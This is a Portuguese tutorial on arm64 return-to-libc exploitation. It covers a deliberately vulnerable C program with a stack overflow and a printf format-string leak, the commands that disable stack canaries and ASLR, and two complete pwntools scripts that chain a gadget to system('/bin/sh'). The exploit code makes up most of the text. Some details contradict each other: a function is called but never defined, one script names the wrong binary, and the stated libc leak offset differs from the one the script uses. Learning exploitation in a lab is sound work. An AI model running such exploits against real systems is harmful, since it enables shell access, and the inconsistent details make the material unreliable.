Ret2lib + Printf leak - arm64

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Ret2lib - Bypass NX com ROP (sem ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compile sem canário:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Encontrar offset

offset x30

Criando um padrão com pattern create 200, usando-o e verificando o offset com pattern search $x30, podemos ver que o offset é 108 (0x6c).

Dando uma olhada na função main desmontada, podemos ver que gostaríamos de pular para a instrução que pula para printf diretamente, cujo offset de onde o binário é carregado é 0x860:

Encontrar sistema e string `/bin/sh`

Como o ASLR está desativado, os endereços sempre serão os mesmos:

Encontrar Gadgets

Precisamos ter em x0 o endereço da string /bin/sh e chamar system.

Usando rooper, um gadget interessante foi encontrado:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Este gadget carregará x0 de $sp + 0x18 e então carregará os endereços x29 e x30 de sp e pulará para x30. Assim, com este gadget, podemos controlar o primeiro argumento e então pular para system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Bypass de NX, ASL e PIE com vazamentos de printf da pilha

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Compile sem canário:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE e ASLR, mas sem canário

Rodada 1:
Vazamento de PIE da pilha
Abusar do bof para voltar ao main
Rodada 2:
Vazamento de libc da pilha
ROP: ret2system

Vazamentos do Printf

Definindo um ponto de interrupção antes de chamar printf, é possível ver que há endereços para retornar ao binário na pilha e também endereços da libc:

Tentando diferentes offsets, o %21$p pode vazar um endereço binário (bypass de PIE) e %25$p pode vazar um endereço da libc:

Subtraindo o endereço da libc vazado com o endereço base da libc, é possível ver que o offset do endereço vazado em relação à base é 0x49c40.

Offset x30

Veja o exemplo anterior, pois o bof é o mesmo.

Encontrar Gadgets

Como no exemplo anterior, precisamos ter em x0 o endereço da string /bin/sh e chamar system.

Usando rooper, outro gadget interessante foi encontrado:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Este gadget carregará x0 de $sp + 0x78 e então carregará os endereços x29 e x30 de sp e saltará para x30. Assim, com este gadget, podemos controlar o primeiro argumento e então saltar para system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()